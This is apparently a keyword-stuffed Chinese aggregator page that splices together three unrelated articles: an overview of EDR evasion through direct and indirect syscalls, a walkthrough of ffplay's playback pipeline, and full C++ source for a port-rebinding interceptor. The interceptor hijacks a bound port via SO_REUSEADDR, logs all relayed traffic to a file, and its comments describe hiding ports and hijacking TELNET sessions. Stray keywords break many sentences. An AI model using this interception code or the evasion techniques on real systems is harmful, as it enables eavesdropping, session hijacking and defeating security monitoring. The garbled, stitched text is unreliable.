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【进程调度算法源码】【国外股票源码】【网站支付配置源码】createthread源码分析

时间:2024-11-28 18:11:00 来源:lightgbm源码解读

1.免杀动态对抗之syscall[源码分析]
2.ffplay视频播放原理分析
3.C++下如何实现端口监视

createthread源码分析

免杀动态对抗之syscall[源码分析]

       基础概念

       操作系统分为内核和应用层,源码从R0-R3,分析R0是源码内核,R3是分析用户层。Windows中日常调用的源码API都是R3抽象出来的接口,虽然Win API它也是分析进程调度算法源码R3接口,但由于Windows的源码设计思想就是高度封装,实际上的分析R3 API是ntdll.dll中的函数。

       我们调用的源码Win API都是kernel.dll/user.dll中的函数,最终都要经过ntdll.dll。分析

       逆向学习一个函数,源码选定CreateThread,分析ntdll中的源码对应函数是NtCreateThread。可以看到首先给eax赋值(系统调用号SSN),分析然后再执行syscall。源码

       EDR的工作原理是对Windows API进行hook。一般使用inline hook,即将函数的开头地址值改成jmp xxxxxxx(hook函数地址)。知道了syscall的调用模板,自己构造syscall(获取SSN,syscall),即可绕过EDR对API的hook。

       学习不同项目对应的手法,如HellsGate、TartarusGate、GetSSN、SysWhispers等。这些项目通过遍历解析ntdll.dll模块的导出表,定位函数地址,获取系统调用号SSN,实现动态获取SSN。

       使用直接系统调用或间接系统调用,如SysWhispers系列项目的直接系统调用(手搓syscall asm)和间接系统调用(使用用户态API,如kernel.dll中的API)。系统调用号SSN在不同版本的系统下是不一样的,可以参考相关技术博客整理的列表。

       SysWhispers2使用随机系统调用跳转(Random Syscall Jumps)避免“系统调用的标记”,通过SW__GetRandomSyscallAddress函数在ntdll.dll中搜索并选择一个干净的系统调用指令来使用。

       SysWhispers3引入了egg技术(动态字符替换,汇编指令层次的混淆)和支持直接跳转到syscalls,是spoof call的变体,绕过对用户态asm文件syscall的监控。

       HWSyscalls项目通过kernel gadget,国外股票源码跳到ntdll.dll中做间接syscall,更彻底地实现了间接系统调用。

       这些项目的实现涉及软件中自定义堆栈流程、硬件断点等技术,通过内核函数调用、动态字符替换、异常处理机制等,绕过EDR检测和系统调用监控,实现免杀动态对抗。

ffplay视频播放原理分析

       作者|赵家祝

       FFmpeg框架由命令行工具和函数库组成,ffplay是其中的一种命令行工具,提供了播放音视频文件的功能,不仅可以播放本地多媒体文件,还可以播放网络流媒体文件。本文从ffplay的整体播放流程出发,借鉴其设计思路,学习如何设计一款简易的播放器。

一、播放器工作流程

       在学习ffplay源码之前,为了方便理解,我们先宏观了解一下播放器在播放媒体文件时的工作流程。

       解协议:媒体文件在网络上传输时,需要经过流媒体协议将媒体数据分段成若干个数据包,这样就可以满足用户一边下载一边观看的需求,而不需要等整个媒体文件都下载完成才能观看。常见的流媒体协议有RTMP、HTTP、HLS、MPEG-DASH、MSS、HDS等。由于流媒体协议中不仅仅包含媒体数据,还包含控制播放的信令数据。因此,解协议是移除协议中的信令数据,输出音视频封装格式数据。

       解封装:封装格式也叫容器,就是将已经编码压缩好的视频流和音频流按照一定的格式放到一个文件中,常见的封装格式有MP4、FLV、MPEG2-TS、AVI、网站支付配置源码MKV、MOV等。解封装是将封装格式数据中的音频流压缩编码数据和视频流压缩编码数据分离,方便在解码阶段使用不同的解码器解码。

       解码:压缩编码数据是在原始数据基础上采用不同的编码压缩得到的数据,而解码阶段就是编码的逆向操作。常见的视频压缩编码标准有H./H.、MPEG-2、AV1、V8/9等,音频压缩编码标准有AAC、MP3等。解压后得到的视频图像数据是YUV或RGB,音频采样数据是PCM。

       音视频同步:解码后的视频数据和音频数据是独立的,在送给显卡和声卡播放前,需要将视频和音频同步,避免播放进度不一致。

二、main函数

       ffplay的使用非常简单,以ffplay-iinput.mp4-loop2为例,表示使用ffplay播放器循环播放input.mp4文件两遍。执行该命令时,对应的源码在fftools/ffplay.c中,程序入口函数是main函数。

       注:本文ffplay源码基于ffmpeg4.4。

       2.1环境初始化

       初始化部分主要调用以下函数:

       init_dynload:调用SetDllDirectory("")删除动态链接库(DLL)搜索路径中的当前工作目录,是Windows平台下的一种安全预防措施。

       av_log_set_flag:设置log打印的标记为AV_LOG_SKIP_REPEATED,即跳过重复消息。

       parse_loglevel:解析log的级别,会匹配命令中的-loglevel字段。如果命令中添加-report,会将播放日志输出成文件。

       avdevice_register_all:注册特殊设备的封装库。

       avformat_network_init:初始化网络资源,可以从网络中拉流。

       parse_options:解析命令行参数,示例中的-iinput.mp4和-loop2就是通过这个函数解析的,支持的选项定义在options静态数组中。解析得到的文件名、文件格式分别保存在全局变量input_filename和file_iformat中。罗源码头事故

       2.2SDL初始化

       SDL的全称是SimpleDirectMediaLayer,是一个跨平台的多媒体开发库,支持Linux、Windows、MacOS等多个平台,实际上是对DirectX、OpenGL、Xlib再封装,在不同操作系统上提供了相同的函数。ffplay的播放显示是通过SDL实现的。

       main函数中主要调用了以下三个SDL函数:

       SDL_Init:初始化SDL库,传入的参数flags,默认支持视频、音频和定时器,如果命令中配置了-an则禁用音频,配置了-vn则禁用视频。

       SDL_CreateWindow:创建播放视频的窗口,该函数可以指定窗口的位置、大小,默认是*大小。

       SDL_CreateRenderer:为指定的窗口创建渲染器上下文,对应的结构体是SDL_Render。我们既可以使用渲染器创建纹理,也可以渲染视图。

       2.3解析媒体流

       stream_open函数是ffplay开始播放流程的起点,该函数传入两个参数,分别是文件名input_filename和文件格式file_iformat。下面是函数内部的处理流程:

       (1)初始化VideoState:VideoState是ffplay中最大的结构体,所有的视频信息都定义在其中。初始化VideoState时,先定义VideoState结构体指针类型的局部变量is,分配堆内存。然后初始化结构体中的变量,例如视频流、音频流、字幕流的索引,并赋值函数入参filename和iformat。

       (2)初始化FrameQueue:FrameQueue是解码后的Frame队列,Frame是解码后的数据,例如视频解码后是YUV或RGB数据,音频解码后是PCM数据。初始化FrameQueue时,电脑鼠程序源码会对VideoState中的pictq(视频帧队列)、subpq(字幕帧队列)、sampq(音频帧队列)依次调用frame_queue_init函数进行初始化。FrameQueue内部是通过数组实现了一个先进先出的环形缓冲区,windex是写指针,被解码线程使用;rindex是读指针,被播放线程使用。使用环形缓冲区的好处是,缓冲区内的元素被移除后,其它元素不需要移动位置,适用于事先知道缓冲区最大容量的场景。

       (3)初始化PacketQueue:PacketQueue是解码前的Packet队列,用于保存解封装后的数据。初始化PacketQueue时,会对VideoState中的videoq(视频包队列)、audio(音频包队列)、subtitleq(字幕包队列)依次调用packet_queue_init函数进行初始化。不同于FrameQueue,PacketQueue采用链表的方式实现队列。由于解码前的包大小不可控,无法明确缓冲区的最大容量,如果使用环形缓冲区,容易触发缓冲区扩容,需要移动缓冲区内的数据。因此,使用链表实现队列更加合适。

       (4)初始化Clock:Clock是时钟,在音视频同步阶段,有三种同步方法:视频同步到音频,音频同步到视频,以及音频和视频同步到外部时钟。初始化Clock时,会对VideoState中的vidclk(视频时钟)、audclk(音频时钟)、extclk(外部时钟)依次调用init_clock函数进行初始化。

       (5)限制音量范围:先限制音量范围在0~之间,然后再根据SDL的音量范围作进一步限制。

       (6)设置音视频同步方式:ffplay默认采用AV_SYNC_AUDIO_MASTER,即视频同步到音频。

       (7)创建读线程:调用SDL_CreateThread创建读线程,同时设置了线程创建成功的回调read_thread函数以及接收参数is(stream_open函数最开始创建的VideoState指针类型的局部变量)。如果线程创建失败,则调用stream_close做销毁逻辑。

       (8)返回值:将局部变量is作为函数返回值返回,用于处理下面的各种SDL事件。

       2.4SDL事件处理

       event_loop函数内部是一个for循环,使用SDL监听用户的键盘按键事件、鼠标点击事件、窗口事件、退出事件等。

三、read_thread函数

       read_thread函数的作用是从磁盘或者网络中获取流,包括音频流、视频流和字幕流,然后根据可用性创建对应流的解码线程。因此read_thread所在的线程实际上起到了解协议/解封装的作用。核心处理流程可以分为以下步骤:

       3.1创建AVFormatContext

       AVFormatContext是封装上下文,描述了媒体文件或媒体流的构成和基本信息。avformat_alloc_context函数用于分配内存创建AVFormatContext对象ic。

       拿到AVFormatContext对象后,在调用avformat_open_input函数打开文件前,需要设置中断回调函数,用于检查是否应该中断IO操作。

?ic->interrupt_callback.callback=decode_interrupt_cb;ic->interrupt_callback.opaque=is;

       decode_interrupt_cb内部返回了一个VideoState的abort_request变量,该变量在调用stream_close函数关闭流时会被置为1。

       3.2打开输入文件

       在准备好前面的一些赋值操作后,就可以开始根据filename打开文件了。avformat_open_input函数用于打开一个文件,并对文件进行解析。如果文件是一个网络链接,则发起网络请求,在网络数据返回后解析音频流、视频流相关的数据。

       3.3搜索流信息

       搜索流信息使用avformat_find_stream_info函数,该从媒体文件中读取若干个包,然后从其中搜索流相关的信息,最后将搜索到的流信息放到ic->streams指针数组中,数组的大小为ic->nb_streams。

       由于在实际播放过程中,用户可以指定是否禁用音频流、视频流、字幕流。因此在解码要处理的流之前,会判断对应的流是否处于不可用状态,如果是可用状态则调用av_find_best_stream函数查找对应流的索引,并保存在st_index数组中。

       3.4设置窗口大小

       如果找到了视频流的索引,则需要渲染视频画面。由于窗体的大小一般使用默认值*,这个值和视频帧真正的大小可能是不相等的。为了正确显示承载视频画面的窗体,需要计算视频帧的宽高比。调用av_guess_sample_aspect_ration函数猜测帧样本的宽高比,调用set_default_window_size函数重新设置显示窗口的大小和宽高比。

       3.5创建解码线程

       根据st_index判断音频流、视频流、字幕流的索引是否找到,如果找到了就依次调用stream_component_open创建对应流的解码线程。

       3.6解封装处理

       接下来是一个for(;;)循环:

       (1)响应中断停止、暂停/继续、Seek操作;

       (2)判断PacketQueue队列是否满了,如果满了就休眠ms,继续循环;

       (3)调用av_read_frame从码流中读取若干个音频帧或一个视频帧;

       (4)从输入文件中读取一个AVPacket,判断当前AVPacket是否在播放时间范围内,如果是则调用packet_queue_put函数,根据类型将其放在音频/视频/字幕的PacketQueue中。

四、stream_component_open函数

       3.5小节讲到,stream_component_open函数负责创建不同流的解码线程。那么它是如何创建解码线程的呢?

       4.1创建AVCodecContext

       AVCodecContext是编解码器上下文,保存音视频编解码相关的信息。使用avcodec_alloc_context3函数分配空间,使用avcodec_free_context函数释放空间。

       4.2查找解码器

       根据解码器的id,调用avcodec_find_decoder函数,查找对应的解码器。与之类似的一个函数是avcodec_find_encoder,用于查找FFmpeg的编码器。两个函数返回的结构体都是AVCodec。

       如果指定了解码器名称,则需要调用avcodec_find_decoder_by_name函数查找解码器。

       不管是哪种方式查找解码器,如果没有找到解码器,都会抛异常退出流程。

       4.3解码器初始化

       找到解码器后,需要打开解码器,并对解码器初始化,对应的函数是avcodec_open2,该函数也支持编码器的初始化。

       4.4创建解码线程

       判断解码类型,创建不同的解码线程。

switch(avctx->codec_type){ caseAVMEDIA_TYPE_AUDIO://音频...if((ret=decoder_init(&is->auddec,avctx,&is->audioq,is->continue_read_thread))<0)gotofail;...if((ret=decoder_start(&is->auddec,audio_thread,"audio_decoder",is))<0)gotoout;...caseAVMEDIA_TYPE_VIDEO://视频...if((ret=decoder_init(&is->viddec,avctx,&is->videoq,is->continue_read_thread))<0)gotofail;if((ret=decoder_start(&is->viddec,video_thread,"video_decoder",is))<0)gotoout;...caseAVMEDIA_TYPE_SUBTITLE://字幕...if((ret=decoder_init(&is->subdec,avctx,&is->subtitleq,is->continue_read_thread))<0)gotofail;if((ret=decoder_start(&is->subdec,subtitle_thread,"subtitle_decoder",is))<0)gotoout;...}

       线程创建在decoder_start函数中,依然使用SDL创建线程的方式,调用SDL_CreateThread函数。

五、video_thread函数

       视频解码线程从视频的PacketQueue中不断读取AVPacket,解码完成后将AVFrame放入视频FrameQueue。音频的解码实现和视频类似,这里仅介绍视频的解码过程。

       5.1创建AVFrame

       AVFrame描述解码后的原始音频数据或视频数据,通过av_frame_alloc函数分配内存,通过av_frame_free函数释放内存。

       5.2视频解码

       开启for(;;)循环,不断调用get_video_frame函数解码一个视频帧。该函数主要调用了decoder_decode_frame函数解码,decoder_decode_frame函数对音频、视频、字幕都进行了处理,主要依靠FFmpeg的avcodec_receive_frame函数获取解码器解码输出的数据。

       拿到解码后的视频帧后,会根据音视频同步的方式和命令行的-framedrop选项,判断是否需要丢弃失去同步的视频帧。

       命令行带-framedrop选项,无论哪种音视频同步机制,都会丢弃失去同步的视频帧。

       命令行带-noframedrop选项,无论哪种音视频同步机制,都不会丢弃失去同步的视频帧。

       命令行不带-framedrop或-noframedrop选项,若音视频同步机制为同步到视频,则不丢弃失去同步的视频帧,否则会丢弃失去同步的视频帧。

       5.3放入FrameQueue

       调用queue_picture函数,将AVFrame放入FrameQueue。该函数内部调用了frame_queue_push函数,采用了环形缓冲区的处理方式,对写指针windex累加。

staticvoidframe_queue_push(FrameQueue*f){ if(++f->windex==f->max_size)f->windex=0;SDL_LockMutex(f->mutex);f->size++;SDL_CondSignal(f->cond);SDL_UnlockMutex(f->mutex);}六、音视频同步

       ffplay默认采用将视频同步到音频的方式,分以下三种情况:

       如果视频和音频进度一致,不需要同步;

       如果视频落后音频,则丢弃当前帧直接播放下一帧,人眼感觉跳帧了;

       如果视频超前音频,则重复显示上一帧,等待音频,人眼感觉视频画面停止了,但是有声音在播放;

       ffplay视频同步到音频的逻辑在视频播放函数video_refresh中实现。该函数的调用链是:main()->event_loop()->refresh_loop_wait_event()->video_refresh。

       6.1判断播放完成

       调用frame_queue_nb_remaing函数计算剩余没有显示的帧数是否等于0,如果是,则不需要走剩下的步骤。计算过程比较简单,用FrameQueue的size-rindex_shown,size是FrameQueue的大小,rindex_shown表示rindex指向的节点是否已经显示,如果已经显示则为1,否则为0。

       6.2播放序列匹配

****

       分别调用frame_queue_peek_last和frame_queue_peek函数从FrameQueue中获取上一帧和当前帧,上一帧是上次已经显示的帧,当前帧是当前待显示的帧。

       (1)比较当前帧和当前PacketQueue的播放序列serial是否相等:

       如果不等,重试视频播放的逻辑;

       如果相等,则进入(2)流程判断;

       注:serial是用来区分是不是连续的数据,如果发生了seek,会开始一个新的播放序列,

       (2)比较上一帧和当前帧的播放序列serial是否相等:

       如果不相等,则将frame_timer更新为当前时间;

       如果相等,不处理并进入下一流程

       6.3判断是否重复上一帧

       (1)将上一帧lastvp和当前帧vp传入vp_duration函数,通过vp->pts-lastvp->pts计算上一帧的播放时长。

       注:pts全称是PresentationTimeStamp,显示时间戳,表示解码后得到的帧的显示时间。

       (2)在compute_target_delay函数中,调用get_clock函数获取视频时钟,调用get_master_clock函数获取同步时钟,计算两个时钟的差值,根据差值计算需要delay的时间。

       (3)如果当前帧播放时刻(is->frame_timer+delay)大于当前时刻(time),表示当前帧的播放时间还没有到,相当于当前视频超前音频了,则需要将上一帧再播放一遍。

last_duration=vp_duration(is,lastvp,vp);delay=compute_target_delay(last_duration,is);time=av_gettime_relative()/.0;if(time<is->frame_timer+delay){ *remaining_time=FFMIN(is->frame_timer+delay-time,*remaining_time);gotodisplay;}

       6.4判断是否丢弃未播放的帧

       如果当前队列中的帧数大于1,则需要考虑丢帧,只有一帧的时候不考虑丢帧。

       (1)调用frame_queue_peek_next函数获取下一帧(下一个待显示的帧),根据当前帧和下一帧计算当前帧的播放时长,计算过程和6.3相同。

       (2)满足以下条件时,开始丢帧:

       当前播放模式不是步进模式;

       丢帧策略生效:framedrop>0,或者当前音视频同步策略不是音频到视频。

       当前帧vp还没有来得及播放,但是下一帧的播放时刻(is->frame_timer+duration)已经小于当前系统时刻(time)了。

       (3)丢帧时,将is->frame_drops_late++,并调用frame_queue_next函数将上一帧删除,更新FrameQueue的读指针rindex和size。

if(frame_queue_nb_remaining(&is->pictq)>1){ Frame*nextvp=frame_queue_peek_next(&is->pictq);duration=vp_duration(is,vp,nextvp);if(!is->step&&(framedrop>0||(framedrop&&get_master_sync_type(is)!=AV_SYNC_VIDEO_MASTER))&&time>is->frame_timer+duration){ is->frame_drops_late++;frame_queue_next(&is->pictq);gotoretry;}}七、渲染

       ffplay最终的图像渲染是由SDL完成的,在video_display中调用了SDL_RenderPresent(render)函数,其中render参数是最开始在main函数中创建的。在渲染之前,需要将解码得到的视频帧数据转换为SDL支持的图像格式。转换过程在upload_texture函数中实现,细节不在此处分析。

       音频类似,如果解码得到的音频不能被SDL支持,需要对音频进行重采样,将音频帧格式转换为SDL支持的格式。

八、小结

       本文从整体播放流程出发,介绍了ffplay播放器播放媒体文件的主要流程,不深陷于代码细节。同时,对FFmpeg的一些常用函数有了一些了解,对我们自己手写一个简单的播放器有很大的帮助。

----------END----------

C++下如何实现端口监视

       çœ‹çœ‹æœ‰æ²¡æœ‰ç”¨

       ==============

       #include "stdafx.h"

       #include <winsock2.h>

       #include <windows.h>

       //#include <stdio.h>

       #include <stdlib.h>

       #include <fstream.h>

       DWORD WINAPI ClientThread(LPVOID lpParam);

       int main(int argc, char* argv[])

       {

        if (argc!=2)

        {

        printf("using: listen [your ip address]\nfor example:\n listen ...2\n");

        return 0;

        }

        WORD wVersionRequested;

        DWORD ret;

        WSADATA wsaData;

        BOOL val;

        SOCKADDR_IN saddr;

        SOCKADDR_IN scaddr;

        int err;

        SOCKET s;

        SOCKET sc;

        int caddsize;

        HANDLE mt;

        DWORD tid;

        wVersionRequested = MAKEWORD( 2, 2 );

        err = WSAStartup( wVersionRequested, &wsaData );

        if ( err != 0 ) {

        printf("error!WSAStartup failed!\n");

        return -1;

        }

        saddr.sin_family = AF_INET;

        //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了

        saddr.sin_addr.s_addr = inet_addr(argv[1]);

        saddr.sin_port = htons();

        if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = TRUE;

        //SO_REUSEADDR选项就是可以实现端口重绑定的

        if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)

        {

        printf("error!setsockopt failed!\n");

        return -1;

        }

        //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;

        //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽

        //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击

        if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)

        {

        ret=GetLastError();

        printf("error!bind failed!\n");

        return -1;

        }

        listen(s,2);

        while(1)

        {

        caddsize = sizeof(scaddr);

        //接受连接请求

        sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);

        if(sc!=INVALID_SOCKET)

        {

        mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);

        if(mt==NULL)

        {

        printf("Thread Creat Failed!\n");

        break;

        }

        }

        CloseHandle(mt);

        }

        closesocket(s);

        WSACleanup();

        return 0;

       }

       DWORD WINAPI ClientThread(LPVOID lpParam)

       {

        SOCKET ss = (SOCKET)lpParam;

        SOCKET sc;

        char buf[];

        SOCKADDR_IN saddr;

        long num;

        DWORD val;

        DWORD ret;

        //如果是隐藏端口应用的话,可以在此处加一些判断

        //如果是自己的包,就可以进行一些特殊处理,不是的话通过.0.0.1进行转发

        saddr.sin_family = AF_INET;

        saddr.sin_addr.s_addr = inet_addr(".0.0.1");

        saddr.sin_port = htons();

        if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)

        {

        printf("error!socket failed!\n");

        return -1;

        }

        val = ;

        if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)

        {

        ret = GetLastError();

        return -1;

        }

        if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)

        {

        printf("error!socket connect failed!\n");

        closesocket(sc);

        closesocket(ss);

        return -1;

        }

        // 写入文件:

        ofstream oFile("portlog.txt");

        if(!oFile)

        {

        printf("cannot write to the file.\n");

        closesocket(ss);

        closesocket(sc);

        return 0 ;

        }

        while(1)

        {

        //下面的代码主要是实现通过。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。

        //如果是嗅探内容的话,可以再此处进行内容分析和记录

        //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。

        num = recv(ss,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(sc,buf,num,0);

        }

        else if(num==0)

        break;

        num = recv(sc,buf,,0);

        if(num>0)

        {

        oFile<<"\n== DATA =========================================\n";

        oFile<<buf;

        send(ss,buf,num,0);

        }

        else if(num==0)

        break;

        }

        oFile.close();

        closesocket(ss);

        closesocket(sc);

        return 0 ;

       }

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